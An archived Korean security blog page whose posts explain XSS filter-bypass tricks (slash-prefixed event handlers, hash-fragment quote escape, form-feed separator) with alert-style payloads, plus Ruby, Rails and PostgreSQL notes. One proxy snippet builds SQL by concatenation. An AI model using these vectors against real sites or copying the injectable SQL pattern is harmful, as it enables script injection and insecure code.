3/30/2018

Bypass XSS Protection (Event Handler filtering) with string+slash(XSS 우회기법)

어제(?) 아침 단톡방에 oioi로 부터 XSS 페이로드를 하나 공유받았습니다.

<svg </onload ="1> (_=prompt,_(1)) "">


특이한 부분이 2가지가 있는데, 내용 한번 살펴보도록 하겠습니다. 

저 순간은 굉장히 신기했지만.. 지금은 조금 허무합니다 =_=


Event Handler 우회 패턴

기존 svg/onload 구문과 유사하지만, 이벤트 핸들러 필터링을 우회할 수 있고, 구문 필터링 또한 어느정도 제어가 가능합니다. 

<svg </onload ="1> (_=prompt,_(1)) "">



첫번째로 눈여겨 봐야할 부분은 </ 로 onload를 이벤트 핸들러로 넘겨준 방법입니다. 처음에는 (_=prompt 구문이랑 조합이 되어서 필터링이 풀리나 생각이 들었는데, 아래와 같이 제외하고 사용하여도 동작합니다. 

<svg </onload ="1> alert(45) "">

<svg </onload ="alert(45) ">

뒤쪽 페이로드 부분이랑은 상관이 없다 소리니, 즉 </ 특수문자가 이벤트핸들러로 만들어 줄 수 있다는 의미로 해석됩니다. 

<svg ^/onload =" alert(45) "> 

<svg &/onload =" alert(45) ">

<svg */onload =" alert(45) ">

<svg %/onload =" alert(45) ">

<svg $/onload =" alert(45) ">

<svg #/onload =" alert(45) ">

<svg @/onload =" alert(45) ">

<svg !/onload =" alert(45) ">

<svg hahwul/onload =" alert(45) ">

<iframe hahwul/src ="javascript:alert(45)">

<iframe hahwul/onmouseover =" alert(45) " scr=z>

<input hahwul/onfocus="alert(45)" autofocus>

모두 alert(45)가 실행됩니다. 즉 태그와 / 사이에 문자가 들어가는 경우 마치 태그와 /가 붙어있는 것 처럼 속성으로 분리되고 정상적이지 않은 이벤트 핸들러 처럼 보이는 동작하는 이벤트 핸들러를 만들 수 있습니다.

다만 모든 태그에서 가능한 것은 아닙니다. 이미지 태그로는 안되네요. 

<img hahwul/onerror =" alert(45) " scr=z>  <!-- Not Running -->


정리하자면, slash 앞에 문자열이 들어가는 경우 정상적인 이벤트 핸들러로 인지합니다. 

자바스크립트 구간 1> (_=prompt,_(1)) 

두번째 포인트는 Javascript 코드 부분입니다. 

1> (_=prompt,_(1)) 

내용만 보면 1과 (_=prompt,_(1)) 를 비교합니다. 앞부분은 중요하지 않고 핵심이 되는 부분은 (_=prompt,_(1)) 인데요.  구문을 콘솔로 보니... 




어? _ 에 function이 들어갔네요. 결국은 _ 라는 변수에 prompt 함수를 넣고 _(1) 형태로 실행한 케이스입니다. 간단한 트릭이지만 코드단 필터링을 푸는데는 도움이 되는 부분이긴합니다. 


Share: | Coffee Me:

3/28/2018

Ruby language에서의 Symbol(심볼)이란?

언어 자체에 대한 글을 쓰는건 굉장히 오랜만인 것 같습니다.
오늘은 루비의 심볼에 대한 이야기를 하려합니다.

루비러라면 잘 아시겠지만, 루비는 모든것이 객체입니다. 그래서 일반적으로 객체라고 생각되지 않는 것들(문자열, 상수 등등) 또한 모두 객체입니다. (다른 언어도 비슷비슷하죠)

객체를 사용하기 위해서는 각 객체의 initialize를 통해


예를들어 루비 코드에 "GET" 이란 문자열이 5번 사용되었다고 칩니다. 이러면 이 프로그램이 실행되는 동안 "GET" 이란 문자열의 객체가 한번 생성되어 재 사용되는 것이 아닌, 각각 사용될 때 마다 String 객체를 생성하고 메모리를 잡아먹게 됩니다.

이래서 루비에서 적용된 개념은 심볼입니다.



Symbol?

심볼은 immutable, 즉 변경이 불가능한 객체입니다. 한번 생성되면 해당 객체 자체의 값을 변경할 수 없어지며, 동일한 이름으로 여러 부분에 사용될 수 있습니다.

심볼은 문자 앞에 콜론으로 표기하여 선언합니다. 예를들면.. A라는 심볼을 만들면

:A

가 되겠지요.

그럼 아까 위에 이야기를 이어서 해보죠. :GET이란 문자열 대신에 심볼로 만들게 되면 5번 사용될 동안 같은 심볼 객체를 참조하게 됩니다. 위에 문자열로 5번 사용하는 것 보다 공간을 절약하게 됩니다. 물론 5번 잡히나 1번 잡히나 크진 않습니다. 그렇지만, 사용되는 구간이 많아질수록 루비 인터프리터는 점점 많은 메모리를 할당하게 될거고, 결국은 성능에 문제를 끼칠 수 있습니다.

irb로 확인해보죠.

[RUBY-IRB] > "abcd" == "abcd"
=> true
[RUBY-IRB] > "abcd".object_id == "abcd".object_id
=> false

[RUBY-IRB] > :abcd == :abcd
=> true
[RUBY-IRB] > :abcd.object_id == :abcd.object_id
=> true

각 객체의 주소인 object_id 값으로 비교하면, 문자열의 경우 데이터("abcd")는 같지만, 실제 객체가 할당된 주소는 다릅니다. 반대로 심볼(:abcd)은 동일한 객체를 사용하게 되죠.

실행되고 있는 상태에서의 심볼은 Symbol 객체를 이용해서 확인이 가능합니다.

[RUBY-IRB] > Symbol.all_symbols.inspect
=> "[:!, :\"\\\"\", :\"#\", :\"$\", :%, :&, :\"'\", :\"(\", :\")\", :*, :+, :\",\", :-, :\".\", :/, :\":\", :\";\", :<, :\"=\", :>, :\"?\", :\"@\", :\"[\", :\"\\\\\", :\"]\", :^, :`, :\"{\", :|, :\"}\", :~, :\"..\", :\"...\", :+@, :-@, :**, :<=>, :<<, :>>, :<=, :>=, :==, :===, :!=, :=~, :!~, :[], :[]=, :\"::\", :\"&&\", :\"||\", :\"&.\", :max, :min, :freeze, :inspect, :intern, :object_id, :const_missing, :method_missing, :method_added, :singleton_method_added, :method_removed, :singleton_method_removed, :method_undefined, :singleton_method_undefined, :length, :size, :gets, :succ, :each, :proc, :lambda, :send, :__send__, :__attached__, :initialize, :initialize_copy, :initialize_clone, :initialize_dup, :to_int, :to_ary, :to_str, :to_sym, :to_hash, :to_proc, :to_io, :to_a, :to_s, :to_i, :bt, :bt_locations, :call, :mesg, :exception, :_, :\"\", :empty?, :eql?, :respond_to?, :respond_to_missing?, :\"<IFUNC>\", :\"<CFUNC>\", :\"core#set_method_alias\", :\"core#set_variable_alias\", :\"core#undef_method\", :\"core#define_method\", :\"core#define_singleton_method\", :\"core#set_postexe\", :\"core#hash_from_ary\", :\"core#hash_merge_ary\", :\"core#hash_merge_ptr\", :\"core#hash_merge_kwd\", :$_, :$~, :__autoload__, :__classpath__, :__tmp_classpath__, :__classid__, :to_f, :dig, :BasicObject, :Object, :Module, :Class, :equal?, :Kernel, :__refined_class__, :inherited, :included, :extended, :prepended, :nil?, :hash, :class, :singleton_class, :clone, :dup, :itself, :taint, :tainted?, :untaint, :untrust, :untrusted?, :trust, :frozen?, :methods, :singleton_methods, :protected_methods, :private_methods, :public_methods, :instance_variables, :instance_variable_get, :instance_variable_set, :instance_variable_defined?, :remove_instance_variable, :instance_of?, :kind_of?, :is_a?, :tap, :sprintf, :format, :Integer, :Float, :String, :Array, :Hash, :NilClass, :to_h, :new, :NIL, :included_modules, :include?, :name, :ancestors, :attr, :attr_reader, :attr_writer, :attr_accessor, :instance_methods, :public_instance_methods, :protected_instance_methods, :private_instance_methods, :constants, :const_get, :const_set, :const_defined?, :remove_const, :class_variables, :remove_class_variable, :class_variable_get, :class_variable_set, :class_variable_defined?, :public_constant, :private_constant, [...........]

Symbol을 String 처럼 사용하기

심볼은 한번 지정되면 변수에 문자열 데이터가 들어왔을 때 해당 변수의 문자열을 새로 만들지 않고 심볼을 참조하게 됩니다. 

[RUBY-IRB] > :abcd.object_id
=> 1528988
[RUBY-IRB] > zzz = "abcd"
=> "abcd"


마치 심볼과 문자열이 다르게 선언되었을 것 같지만, intern으로 심볼 자체의 기호를 보면 :abcd를 가리키고 있습니다. 

irb(main):080:0> zzz.intern
=> :abcd

Conclusion

결국은 어디서 사용하는가가 가장 중요한 부분일텐데, 구글링 해보면 많이 나오겠지만, 대체로 해시의 키값에 대한 이야기를 합니다. 계속 반복되는 String 생성이 있는 부분에선 String을 직접 만드는 것 보다 심볼로 정의해서 사용하는게 메모리나 성능적인 부분에서 이득이 됩니다. 

추가로.. 심볼 가지고 놀던 중 알게되었는데, def로 선언하면 해당 객체 또한 심볼로 정의됩니다. 

[RUBY-IRB] >   def addr
[RUBY-IRB] >   return self.object_id
[RUBY-IRB] >   end
=> :addr

재미있군요 :)

Reference

http://www.troubleshooters.com/codecorn/ruby/symbols.htm#_How_are_symbols_implemented
https://ruby-doc.org/core-2.2.0/Symbol.html
Share: | Coffee Me:

MITM Proxy server in Ruby (evil-proxy와 rails를 이용한 WASE 트래픽 수집 구간 만들기)

WASE를 만들면서 MITM Proxy로 트래픽을 수집하는 서버를 만들었는데요, 이 과정에서 알아봤던거랑 기반(?)이 되었던 심플한 저의 코드 관련해서 글 작성합니다.

아 추가로.. WASE 만드는 프로젝트(?)는 전체적인 구조를 좀 많이 변경했습니다. 혹시라도 좋은 성과가 있다면.. 공유드리도록 할게요. (물론 리밋)

MITM Proxy server in Ruby

Ruby에서 Proxy 서버를 구축하기란 아주 쉽습니다. 간단하게는 WEBRick부터, 각종 Proxy 라이브러리를 이용하면 얼마 안걸리는 부분이지요. 또한 직접 소켓으로 작성하는 방법도 좋은 방법입니다. (속도가 빨라요)

그 와중에 WEBRick의 Proxy는 짧고 다루기 쉽습니다. 많은 Proxy library들이 WEBRick의 HTTPProxy를 베이스로 사용하죠.

require 'webrick/httpproxy'

s = WEBrick::HTTPProxyServer.new(
  :Port => 8080,
  :RequestCallback => Proc.new{|req,res|
    puts "-"*70
    puts req.request_line, req.raw_header
    puts "-"*70
  }
)
trap("INT"){ s.shutdown }
s.start


EVIL-PROXY
아래 보시면 아시겠지만, 제가 선택한 프록시입니다. 기본적으론 바로 아래 WEBRIck의 HTTPProxy를 베이스로 하며 SSL 지원이 아주 잘 됩니다. (이게 선택의 원인)

MITMProxy
이친구도 SSL 지원이 어느정도 되는 것으로 알고 있습니다만, 조금 번거로운 것으로 기억납니다.

RMITM
내용을 잘 살펴보진 않았지만, MITMProxy를 기반으로 만들어진 라이브러리입니다. 느낌 상 EVIL이랑 비슷할 것 같네요.

https://github.com/marcyb/rmitm


evil-proxy와  Rails DB(PostgreSQL)를 이용해서 WASE 뼈대 만들기

우선 WASE 구축하는 과정에선 Rails로 웹 뷰를 구성하고, 쌓여있는 데이터에 대해 로깅합니다. 초기에 컨셉코드로 만든 부분이니 비슷한 구성으로 만들 것이 있으시다면 참고되셨으면 합니다.
(WASE 관련해서, 대규모 변경 작업을 진행하였죠... 안그래도 집에서 시간 없는데. 하핳)

코드 보기에 앞서 Rails에 대한 이야기를 잠깐 하려합니다. Rails는 확실히 CRUD 구축은 정말 빠릅니다. Burp를 통해 취약점 분석에 대한 트래픽 수집도 결국은 CRUD이기 떄문에 Rails로 DB와 View를 만들고 evil-proxy를 통해 수집한 데이터를 바로 db로 밀어넣었습니다.

그 과정에서 Rails의 Scaffold로 생성된.. 아니, Rails에서 생성된 모델에 대한 이야기를 잠깐하면, 우리가 예를들어 하나의 모델에 title:string body:text 이라는 2개의 컬럼을 만들 떄 DB에 딱 2개의 스키마만 생성되는건 아닙니다. Rails가 자동으로 PK를 잡아주고, 생성, 수정 날짜에 대해 컬럼을 추가해줍니다. 고로 3rd에서 Rails 쪽으로 데이터를 밀어넣을 때 고려해서 넣어주시면 됩니다.

require 'pg'
require 'evil-proxy'

proxy = EvilProxy::HTTPProxyServer.new Port: 8000
$con = PG.connect :dbname => 'loglog_development', :user => '[username]' , :password => '[passwd]'


proxy.before_request do |req|
  # Do evil things
  # Note that, different from Webrick::HTTPProxyServer,
  #   `req.body` is writable.
  #puts req
end

proxy.before_response do |req, res|
  # Here `res.body` is also writable.
  puts req
  req = req.to_s
  req = req.sub("'","&quot;")
  req = req.sub('"',"&quot;")
  rs = $con.exec "insert into logs (data,created_at,updated_at) values ('"+req+"',LOCALTIMESTAMP,LOCALTIMESTAMP);"
end
# Rails 에서  scaffold로 만들어진 모델은 기본적인 구조 이외에 create_at, update_at의 시간 데이터를 가짐
# insert 문으로 같이 넣어주면 rails에서도 데이터를 한번에 볼 수 있음

trap "INT"  do proxy.shutdown end
trap "TERM" do proxy.shutdown end

proxy.start

이런식으로 Proxy를 통해 들어온 데이터를 PostgreSQL로 넘기고, 이를 Rails에서 보거나 제어할 수 있어집니다. 여기에 테스트 로직이나 분석 규칙을 넣으면 WASE의 뼈대가 완성되죠.

원래는 ES를 붙이려고 했는데, 아직은 좀 고민이 생기는 부분입니다. 과연 웹 요청의 데이터가 ES로 제어할만큼 큰 데이터들일까.. 라는 생각이죠. (당장 Burp만 봐도 굉장히 많은데 뭔소리)

물론 ES로 넘기는 것도 어렵진 않습니다. 그냥.. API로 던져주면 끝
(사실 Rails에 붙이기 귀찮아서 PostgreSQL로.. 웹 요청 자체가 틀이 잡혀있기 떄문에 굳이 ES가 필요할까 함)
Share: | Coffee Me:

3/26/2018

Protocol-relative URL - HTML/Javascript/CSS에서 주소 표시에 사용되는 double slash(//)는 무엇인가?

웹 코드에서 주소를 사용할 때 double slash(//)를 많이 사용하시나요? 요즘은 대체로 double slash를 많이 사용하는 것 같습니다.

아무생각 없이 사용하면서 정작 http:// . https://   와 같이 프로토콜 명시된 경우와 단순하게 double slash로 구성된 주소의 차이에 대한 궁금증을 가지지 않았었네요.

방금전에 메일 문의온 것 보다보니.. 혼자 궁금해서 찾아봤고, 관련 내용 정리해둡니다.

(아 이 무지함을... 궁금해하지도 않았다니 =_=)


What is double slash?

우선 앞서 이야기드린 내용으론 HTML, JS, CSS 에서 웹 주소를 불러올 떄 사용됩니다. 프로토콜을 명시한 경우와 동일하죠.

간단하게 예시를 보도록 하겠습니다. 단순한 이미지 태그인데..

<h1>프로토콜 명시</h1>
<img src="http://lh6.googleusercontent.com/-2BmU-uwgPgk/AAAAAAAAAAI/AAAAAAAABFI/8UYOxJjA1JU/s512-c/photo.jpg">

<h1>Double slash</h1>
<img src="//lh6.googleusercontent.com/-2BmU-uwgPgk/AAAAAAAAAAI/AAAAAAAABFI/8UYOxJjA1JU/s512-c/photo.jpg">

웹 사이트에 해당 코드로 올려놓고 보면 둘 다 정상적으로 이미지가 로드됩니다. 그러나 파일을 하나 만들고 직접 브라우저에서 불러오면(파일 드래그 온 드뢉!) 아래와 같이 나타납니다.

헛 file:// ?!
잘 보면 위에 이미지는 정상적으로 불러와지고 아래는 file:// 프로토콜로 호출해서 불러와지지 않습니다.

이는 Double slash가 현재 사용하고 있는 프로토콜을 기준으로 전송하기에 발생한 상황입니다. 파일을 직접 끌어올렸기 떄문에 file///12443.html 이 현재 페이지이 url이 되고, double slash를 사용했을 때 현재 페이지의 프로토콜을 찾아가기 때문에 file:// 기준으로 검색을 하게 됩니다.

"요약하자면 현재 페이지의 프로토콜을 기준으로 웹 요청을 발생"



Why?

가장 큰 이유는 https 입니다. 현재는 많은 사이트들이 https를 사용하지만 불과 몇년 전만해도 그렇지 않았습니다. 일부 적용을 하는 과정에서 https 서비스에 하드코딩된 http 주소를 모두 변경하는건 어렵기 때문에 유지하게 됩니다.

이런 경우 서비스 내 이미지 요청은 http로 전송되고 보안적인 관점에서는 이미지를 통해 발생하는 요청이 암호화되지 않기 때문에 스니핑 환경에서 공격자가 쿠키, 세션값을 볼 수 있어 위험해집니다. 이외에도 개발적인 이슈들이 분명히 있었을거구요.

e.g 80 중단하고 싶은데, 이미지들로 인해 불가능함 등..
(아무리 cdn으로 이미지를 옮긴다 한들, 간혹... 사용하는 페이지가 있을 수 있죠)

아무튼 이러한 이유로 인해 double slash 사용이 시작된 것으로 생각됩니다.

Share: | Coffee Me:

3/22/2018

hsah tag(#)을 이용한 XSS 우회기법(Escape Quot! with hash tag)

최근에 Facebook 내 Stored XSS 취약점 관련 버그바운티 리포트가 올라왔습니다.
https://opnsec.com/2018/03/stored-xss-on-facebook/

og를 이용해서 xss까지 진행된 케이스인데, 생각보다 조금 의외의 내용이라 글로 공유합니다.

우선 og는 Open Graph로 웹의 품질 개선을 위해서 많이들 사용하는 부분입니다. meta 태그로 페이지에 대한 정보를 제공해주고, 이를 다른 어플리케이션이 활용할 수 있도록 도와주지요. 대표적으론 메신저나 SNS에서 링크를 공유할 때 사이트의 주요 이미지, 타이틀 정보 등이 요약되어 작성하는데 사용됩니다.

사실 og 자체에 대한 문제는 아닙니다. 웹 브라우저에서 #에 대해 처리하는 방식에서 발생한 문제이지요.

XSS in MediaElements.js(facebook video swf)

우선 해당 리포트에서 문제점인 라이브러리는 페북에서 사용되고 있던 "MediaElements.js" 입니다.
이 친구는 ogVideoType이 video/flv인 경우 FlashMediaElement.swf를 로드하고 ogVideoUrl을 FlashME.swf로 전달해서 영상을 재생합니다.

FlashME로 ogVideoUrl을 전달하는 과정의 코드를 보면 이런 형태입니다.

function absolutizeUrl(ogVideoUrl) {
var tempDiv = document.createElement('div');
tempDiv.innerHTML = '<a href="' + ogVideoUrl.toString().split('"').join('&quot;') + '">x</a>';
return tempDiv.firstChild.href;
}
flashDiv.innerHTML ='<embed src="FlashME.swf?videoFile=' + encodeURI(absolutizeUrl(ogVideoUrl )) +'" type="application/x-shockwave-flash">';

absolutizeUrl() 함수를 통해서 url 데이터를 가공한 후 플래시 파일의 인자값으로 데이터를 전달해주는데, 크롬에선 #과 "(quot)가 순차로 들어간 경우엔 필터링되지 않고 구문 밖으로 나가게 됩니다.


이걸 이용해서 XSS를 하였고 리포트 이후 이제 세상에 드러나게 되었습니다.

Why vulnerable? Bypass double quot(") Filter!

우선 #과 해시태그에 대한 관계를 알아야합니다.
사실 SNS 하면 아주 익숙하죠.. 작성한 글에 속성이나 관련된 것들을 표기해주는 양식(?)이고 많은 사람들이 SNS를 하면서 사용합니다. 또 다른 의미로는 샵을 통해 웹 페이지 내 특정 섹션에 바로 접근할 수 있도록 도와줍니다.

제 생각엔 전자로 인해서 웹 브라우저가 DOM 영역에 데이터 사용 시 url에 있는 #을 인코딩 시키지 않고 직접 사용하는 것으로 보입니다.
(어찌됬던 인코딩 안됩니다. 설마 후자인가...)

크롬(64버전 이하, 하필 딱 제가 테스트한 크롬 버전이 64네요)에서 #(해시태그)를 만났을 때 발생하고 Firefox 이외에는 모두 인코딩 시켜주지 않으니 Firefox을 제외한 나머지 버전에선 영향력이 있는 공격코드가 되겠네요.

간단하게 실험해보면..  아래 두 코드와 결과를 봅시다. 단순하게 DOM Write 하는 코드이고, 하나는 해시태그 뒤에 "(quot)를 넣어줬고, 하나는 그냥 "(quot) 만 넣어줬습니다.

document.write("<img/src="+absolutizeUrl('http://www.hahwul.com#" onerror=alert(45)')+">");

# 이 있는 경우 hash tag로 인지해 인코딩되지 않아 구문 탈출 가능함

document.write("<img/src="+absolutizeUrl('http://www.hahwul.com" onerror=alert(45)')+">");

#이 없으니 encoding되어 그대로 삽입됨. 덕분에 주소를 찾을 수 없어 에러 발생


원래 코드대로라면 싱글쿼터(') 안에 있기 때문에 모두 URL 인코딩을 거쳐 문자열로 처리되어야 하지만 위의 코드가 해시 태그로 인해 특수문자가 그대로 들어가게 됩니다.
그래서 구문 밖으로 탈출 할 수 있고 XSS가 가능해지죠.


XSS Vector and Conclusion

내용을 보다보니 혼자 내린 결론은.. 단순히 Facebook에서 쓰고있던 FlashMediaElement.swf의 문제가 아니란 겁니다.

결국은 해시태그를 포함한 URL 형태의 문자는 Firefox과 Chrome 65 버전 이상을 제외하곤 모두 Encoding 되지 않아 구문을 탈출 할 수 있게 됩니다.

URL을 처리하는 기능이나 페이지에선 당연히 영향력이 있는 부분이겠고 일반적인 XSS 우회 기법으로도 충분히 사용할 수 있다고 생각되네요.

http://www.hahwul.com#" [xss code]

Reflected나 일부 Stored XSS 는 Frount-End단에서 직접 필터링 하는 경우도 있습니다. 대체로 출력 과정에서 막는 부분이고, 잘 찾다보면 은근히 보이는 타입입니다.
이런 경우에 사용할 수 있는 좋은 방법으로 보입니다.
Share: | Coffee Me:

3/19/2018

0x0c(^L)를 이용한 XSS 우회 기법(no slash, no blank)

간만에 XSS Vector로 포스팅합니다. 최근에 나온 기법은 아니고, 좀 오래된거긴 하지만.. 모르고있었네요 =_=

트윗 공유해주신 +Dakkar Key  감사합니다 :)

(오 글에 구글 플러스 멘션이 되다니..)

0x0c 문자를 통해서 slash, blank 사용이 어려운 경우 활용할 수 있습니다. event handler 필터링 과정에서 속성인지 구별할 때 단순히 slash나 blank 문자를 기준으로 분리하는 케이스도 있는데 이런 경우에는 아래 방법으로 우회가 가능해집니다.

Attack vector
<svg•onload=alert(45)>
<svg^Lonload=alert(45)>


#> hexdump test.html
0000000 0a 3c 73 76 67 0c 4f 6e 6c 4f 61 64 3d 61 6c 65
0000010 72 74 28 34 35 29 3e 0a 0a
0000019

하나씩 보면.. 0x0c임을 알 수 있죠.

0000000 0a 3c 73 76 67 0c 4f 6e 6c 4f 61 64 3d 61 6c 65
           <  s  v  g  ^L  O  n l  O  a  d  =  a  l  e

결국은 0x0c 문자열이 브라우저에 의해 읽힐 때 속성을 구별할 수 있는 값으로 바뀝니다. 재미있는 점은 파싱될 때 아래와 같이 이벤트 핸들러랑 태그가 붙게되는데, 실제로는 속성으로 분리되버립니다. 의아하네요.

<svgonload=alert(45)>




Share: | Coffee Me:

Ruby on Rails - submodel, subclass or subcontroller 만들기(references type)

우선 기준이 스케폴드로 CRUD 모델을 하나 만들어줍니다.

#> rails new log
#> cd log
#> rails g scaffold rule name:string desc:text

이 모델 아래 복수의 데이터를 가지는 모델을 만들어봅시다.

하위에 포함될 모델 만들기, 라우팅 설정


#> rails g model pattern data:text rule:references

여기서 references 타입은 FK를 만들어준다고 생각하면 좋습니다.
pattern이라는 모델을 만들면서 data라는 text 타입의 속성과 rule을 참조하는 references 타입의 속성을 만들었습니다.

rule 하위에서 patterns이 라우팅되도록 routes.rb를 수정해줍니다.

#> vim config/routes.rb
Rails.application.routes.draw do
  resources :rules do
  resources :patterns
  end
end

제 어플리케이션은 rule이 다수의 pattern을 가져야 하기 떄문에 model에 has_many로 pattern을 여러개를 가질 수 있도록 수정해줍니다.

#> vim app/model/rule.rb
class Rule < ActiveRecord::Base
 has_many :patterns
end

컨트롤러 설정하기

이제 pattern을 만드는 메소드를 만들어봅시다. pattern의 컨트롤러를 아래와 같이 수정합니다.
(

#> vim app/controllers/patterns_controller.rb
class PatternsController < ApplicationController
        def create
                @rule = Rule.find(params[:rule_id])               # 현재 Rule의 번호를 찾고
                @pattern = @rule.patterns.create(pattern_params)  # 인자값(이 어플에선 data)를 가지고 pattern을 생성합니다.
                redirect_to rule_path(@rule)                      # 다되면 rule page로 이동
        end

        private                                                   # rails4 버전 이후부터, 파라미터에 대해서 제한하는 설정이 기본으로 필요합니다.
        def pattern_params                                        # 안하면 아래 에러가 나요.
                params.require(:pattern).permit!
        end
end

만약 pattern_params 처럼 허용 파라미터를 정의하지 않고 직접 파라미터 값을 받아서 쓰면


ActiveModel::ForbiddenAttributesError


에러가 발생합니다. 이유인 즉슨, Rails 4 버전대 이후부터 정책적으로 파라미터 제한을 기본으로 설정하도록 되어서 그렇습니다.

처음에 튜토리얼 코드에서 많이 낚이죠..



View 수정을 통해 추가 페이지 보여주기

마지막으로 view에 하위 모델인 pattern을 추가할 수 있도록 UI를 구성해줍니다.

#> vim app/views/rules/show.html.erb
<p id="notice"><%= notice %></p>

<p>
  <strong>Name:</strong>
  <%= @rule.name %>
</p>

<p>
  <strong>Desc:</strong>
  <%= @rule.desc %>
</p>
<strong>Pattern</strong>
<% @rule.patterns.each do |patt| %>
 <p> - <%= patt.data %> </p>

<% end %>

Add
<%= form_for([@rule, @rule.patterns.build]) do |f| %>
 <div class="field"><%= f.label :data %><br>
                           <%= f.text_field :data %>
 </div>
 <div class="actions"><%= f.submit %></div>
<% end %>

<%= link_to 'Edit', edit_rule_path(@rule) %> |
<%= link_to 'Back', rules_path %>


Share: | Coffee Me:

PostgreSQL FATAL: Peer authentication failed for user Error 해결하기

rails의 db를 postgresql로 바꾸고 하는중에 이런 에러가 발생했습니다.

root@cherry:/home/cherry/cherry_web# rake db:setup
FATAL:  Peer authentication failed for user "cherry-web"
/usr/lib/ruby/vendor_ruby/active_record/connection_adapters/postgresql_adapter.rb:651:in `initialize'
/usr/lib/ruby/vendor_ruby/active_record/connection_adapters/postgresql_adapter.rb:651:in `new'
/usr/lib/ruby/vendor_ruby/active_record/connection_adapters/postgresql_adapter.rb:651:in `connect'
/usr/lib/ruby/vendor_ruby/active_record/connection_adapters/postgresql_adapter.rb:242:in `initialize'

계정도 제대로 생성하고, 패스워드도 잘 줬고 권한도 잘 줬는데 왜그럴까 고민, 구글링 하다보니 해답이 나오네요.
우선 대다수 application의 인증 과정에서 패스워드는 md5로 사용이 되는데, 간혹 postgresql에서 peer로 지정되서 md5 데이터로 로그인이 안될 수 있더군요.

pg_hba.conf 파일을 수정해서 해결이 가능합니다. 쭉 내리다 보면 접근 제어 관련 내용이 있는데 peer를 md5로 변경해줍니다.

# vim /etc/postgresql/9.6/main/pg_hba.conf



그다음 재시작 시켜주면..

# /etc/init.d/postgresql restart
[ ok ] Restarting postgresql (via systemctl): postgresql.service.

잘 됩니다 :)

root@cherry:/home/cherry/cherry_web# rake db:setup
/home/cherry/cherry_web/db/schema.rb doesn't exist yet. Run `rake db:migrate` to create it, then try again. If you do not intend to use a database, you should instead alter /home/cherry/cherry_web/config/application.rb to limit the frameworks that will be loaded.
root@cherry:/home/cherry/cherry_web#
root@cherry:/home/cherry/cherry_web# rake db:migrate
Share: | Coffee Me:

website capture를 위한 ruby gem (feat PhantomJS)

이번 주말엔 딱히 쓸 글이 없네요.. (시간이 ㅜㅜ)
간략하게 ruby library를 이용한 웹 페이지 캡쳐 관련해서 글 작성해봅니다.

어제 저녁쯤에 필요에 의해 몇가지 스크립트를 짜던 중 웹 페이지를 캡쳐할 일이 있었는데요, ruby library 로 뭐뭐가 있나 찾아봤더니 몇가지가 있더군요 .

webshot

require 'webshot'
screenshot = Webshot::Screenshot.instance
screenshot.capture "https://www.google.com", "image.png", width: 800, height: 800 



gastly 

require 'gastly'
Gastly.capture('http://google.com', 'output.png')

screencap

require 'screencap'
fetcher_object = Screencap::Fetcher.new('https://www.google.com')
screenshot = fetcher_object.fetch

공통점

예시로 드린건 3개의 라이브러리지만 굉장히 많은 라이브러리들이 있습니다. 재미있는건 모두가 비슷한 공통점을 하나씩 가지고 있다는 것인데요. 바로 phantomJS의 사용입니다.

phantomJS는 헤드리스 브라우저로 웹 관련 자동화에서 많이 쓰입니다. ui를 사용하지 않고 웹 탐색이 가능하기 때문에 크롤링이나 스캐너 같은 부분에서 사용했었느데, 캡쳐에서도 이를 이용하더군요. 심지어 팬텀js를 자체로도 캡쳐가 가능하죠.

test.js
var page = require('webpage').create();
page.open('http://www.google.com/', function() {
  page.render('output.png');
  phantom.exit();
});

#> phantomjs test.js

Reference

http://phantomjs.org/screen-capture.html
Share: | Coffee Me:

3/17/2018

구글 블로거(Google Blogger) 페이지, 게시글(포스트) 관련 타입들

이전부터 천천히 준비해오던 블로그 사이트의 디자인과 구조 변경.. 드디어 이번 주말에 대대적인 개편을 진행했습니다.

기존 사이트도 코드를 잘 구경해보셨다면 아시겠지만 구글 블로거 서비스와 호스팅 서버 2개의 조합으로 구성한 사이트입니다. 간만에 크게 수정하려고 하니.. 블로거 쪽 문법이 헷갈려서 계속 찾아보았었습니다.

이참에 조금 정리해놓고 필요할때마다 참고하면 어떨까 하는 마음에 글 작성합니다.
(타입만 잘 알아둬도 많은 것을 할 수 있습니당)

pageType

구글 블로거에는 7개의 페이지 타입이 존재합니다. 각각 페이지 타입은 data:blog 하위에 정의되어 있고 이를 통해서 포스트, 페이지 별로 UI 구성을 나눈다던가, 에러페이지를 생성한다던가 여러가지 액션을 취할 수 있습니다.

Index Pages,
인덱스는 색인이 있는 페이지입니다. 예를들면.. 검색 결과나 블로그 메인 페이지 정도입니다.

<b:if cond = 'data:blog.pageType == &quot;index&quot;'>
<h1>이 페이지는 index입니다 :)</h1>
</b:if>

Item Pages,
아이템은 블로그 포스트글을 의미합니다. 지금 보시는 이 글의 페이지 타입이 바로 item 이죠. 글 자체에 대한 코드를 구성할 땐 item이 최고입니다.

<b:if cond = 'data:blog.pageType == &quot;item&quot;'>
<h1>이 페이지는 archive 입니다 :)</h1>
</b:if>


Static Pages, 
Static 페이지는 게시글 작성 시 글이 아닌 페이지로 작성한 곳입니다. 이런 페이지를 의미하죠.

http://www.hahwul.com/p/introduction.html

<b:if cond = 'data:blog.pageType == &quot;static_page&quot;'>
<h1>이 페이지는 static page 입니다 :)</h1>
</b:if>

Error Pages,
이름 그대로 에러 페이지입니다.

<b:if cond = 'data:blog.pageType == &quot;error&quot;'>
<h1>이 페이지는 에러 입니다 :)</h1>
</b:if>

요런식으로 활용할 수 있죠.

http://www.hahwul.com/p/intrasdfasdfasdfasdf   >> 없는 페이지 접근

Label Pages 
라벨 전체나 각 라벨에 대한 결과 페이지를 의미합니다. 보편적으로 구글 블로거 사용하시는 분들은.. 카테고리 처럼 쓰시죠(저도 카테고리로 만들어 쓰다가 이번에 다시 라벨 형태로 바꿔가려고 합니다)

<b:if cond = 'data:blog.pageType == &quot;searchlabel&quot;'>
<h1>이 페이지는 라벨 전체 입니다 :)</h1>
</b:if>

<b:if cond = 'data:blog.searchLabel == &quot;HACKING&quot;'>
<!-- HACKING이라는 라벨의 페이지 입니다. -->
<h1>이 페이지는 특정 라벨에 대한 결과 입니다 :)</h1>
</b:if>

Search Pages.
검색에 대한 결과입니다.
<b:if cond = 'data:blog.pageType == &quot;searchQuery&quot;'>
<h1>이 페이지는 검색 입니다 :)</h1>
</b:if>

<b:if cond = 'data:blog.searchQuery == &quot;HACKING&quot;'>
<h1>이 페이지는 특정 검색 페이지에 대한 결과입니다 :)</h1>
</b:if>

Archive Pages,
